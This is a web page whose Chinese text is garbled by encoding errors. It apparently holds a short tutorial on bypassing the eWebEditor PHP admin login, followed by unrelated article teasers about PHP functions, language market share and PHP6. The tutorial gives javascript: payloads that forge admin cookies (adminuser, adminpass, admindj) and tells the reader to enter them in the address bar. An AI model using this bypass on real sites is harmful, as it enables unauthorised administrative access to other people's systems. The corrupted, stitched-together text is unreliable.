eWebEditor PHP°æ±¾ÆÛƵ÷Óúǫ́½Ì³Ì
´úÂëÈçÏÂ,javascript:alert(document.cookie=”adminuser=”+escape(”admin”));javascript:alert(document.cookie=”adminpass=”+escape(”admin”));javascript:alert(document.cookie=”admindj=”+escape(”1″));
´ÓÕâ¾ä´úÂë¿ÉÒÔ¿´³ö£¬¾ÍÊÇÀûÓÃÁËcookie¡£°ÑadminuserºÍadminpassÐÅϢдÈëµ½cookie
ÏÂÃæÎÒÃÇ¿ªÊ¼¡£ÎÒÃÇ´ò¿ª¿ÉÒÔ¿´³öÊÇewebeditor
ÏÂÃæÎÒÃÇÀ´ÀûÓᣳö´í£¬µ«ÊǾø¶ÔÊÇÕʺÅÃÜÂë²»¶ÔµÄ¡£
ÏÂÃæÎÒÃÇÀ´ÊäÈë´úÂ룬Èý´Î¡£ÊäÈëǰҪ°ÑURLÐÅÏ¢Çå¿Õ¡£µã»÷»Ø³µ»òÕßÊǰ´×ªµ½
Ïà¹ØÎĵµ£º
±¾º¯ÊýÒÔ pattern µÄ¹æÔòÀ´½âÎö±È¶Ô×Ö·û´® subject¡£±È¶Ô½á¹û·µ»ØµÄÖµ·ÅÔÚÊý×é²ÎÊý matches Ö®ÖУ¬matches[0] ÄÚÈݾÍÊÇÔ×Ö·û´® subject¡¢matches[1] ΪµÚÒ»¸öºÏºõ¹æÔòµÄ×Ö·û´®¡¢matches[2] ¾ÍÊǵڶþ¸öºÏºõ¹æÔòµÄ×Ö·û´®£¬ÓàÀàÍÆ¡£ÈôÊ¡ÂÔ²ÎÊý matches£¬ÔòÖ»Êǵ¥´¿µØ±È¶Ô£¬ÕÒµ½Ôò·µ»ØÖµÎª tr ......
¡¡¡¡¸÷´óÍøÂç±à³ÌÓïÑÔµÄ10Äê·ÜÕ½£¬¸÷ÓÐËù³¤¡¢¸÷ÁìǧÇï¡£½ñÈÕ¶ÔÓÚÎÒÃǵÄÍøÕ¾±à³ÌÓïÑÔ:ASP¡¢JSP¡¢PHP¡¢ASP.NET½øÐÐʵ¼ÊÓ¦ÓÃͳ¼Æ:
¡¡¡¡ASP:50%
¡¡¡¡JSP:10%
¡¡¡¡PHP:20%
¡¡¡¡ASP.NET:20%
¡¡¡¡¸ù¾ÝÒÔÉÏͳ¼ÆÀ´×öÒ»ÏÂÌÖÂÛ¡£ASP¼¼ÊõÈç½ñÌì¿ÉÒÔ˵ÒѳÉΪ¹ýÈ¥£¬µ«ÈÔÕ¼Êг¡µÄ50%£¬ÒòΪµ±Ê±ASP¼¼ÊõµÄÐËÆð£¬¶Ô´ó²¿·Ö±à³Ì ......
PHPChinaѶ£ºPHPºËÐÄ¿ª·¢ÕßAndrei ZmievskiÔÚ×î½ü¾ÙÐеÄ2009 Zend/PHP»áÒéµÄÖ÷Ìâ·¢ÑÔÖÐÌá³ö£º“ÔÚ½ÓÏÂÀ´µÄPHP6ÖØÒªÉý¼¶ÖУ¬½«Í¨¹ýÖ§³ÖUnicodeÀ´°ïÖú¿ª·¢ÕßÃÇд³öÄܹ»²¿Êðµ½¶à¸ö²»Í¬ÓïÑÔÊг¡µÄÓ¦ÓóÌÐò¡£”
¡¡¡¡ÉÌÒµ¿ª·¢ÖÐÈç¹ûÖ»ÊÇ¿ª·¢ÎªÌØÓïÑÔÊг¡µÄÓ¦ÓóÌÐò£¬¾Í»áʧȥÆäËûµØ·½µÄÉÌÒµ»ú»á¡£ÔçÔÚ2006Äê4Ô£ ......
PHP trim() º¯Êý
¶¨ÒåºÍÓ÷¨
trim() º¯Êý´Ó×Ö·û´®µÄÁ½¶Ëɾ³ý¿Õ°××Ö·ûºÍÆäËûÔ¤¶¨Òå×Ö·û¡£
Óï·¨
trim(str,charlist)
²ÎÊý 1 strΪ´ý²Ù×÷µÄ×Ö·û´®£¬²ÎÊý 2 charlist ¿ÉÑ¡£¬Ö¸¶¨ÁËÏëҪȥ³ýµÄÌØÊâ·ûºÅ¡£
Èç¹ûµÚ¶þ¸ö²ÎÊýû¸øÖµ£¬Ô¤Éè»áÈ¥³ýÏÂÁÐÕâЩ×ÖÔª£º
" " (ASCII 32 (0x20) ......
PHP trim() º¯Êý
¶¨ÒåºÍÓ÷¨
trim() º¯Êý´Ó×Ö·û´®µÄÁ½¶Ëɾ³ý¿Õ°××Ö·ûºÍÆäËûÔ¤¶¨Òå×Ö·û¡£
Óï·¨
trim(str,charlist)
²ÎÊý 1 strΪ´ý²Ù×÷µÄ×Ö·û´®£¬²ÎÊý 2 charlist ¿ÉÑ¡£¬Ö¸¶¨ÁËÏëҪȥ³ýµÄÌØÊâ·ûºÅ¡£
Èç¹ûµÚ¶þ¸ö²ÎÊýû¸øÖµ£¬Ô¤Éè»áÈ¥³ýÏÂÁÐÕâЩ×ÖÔª£º
" " (ASCII 32&nbs ......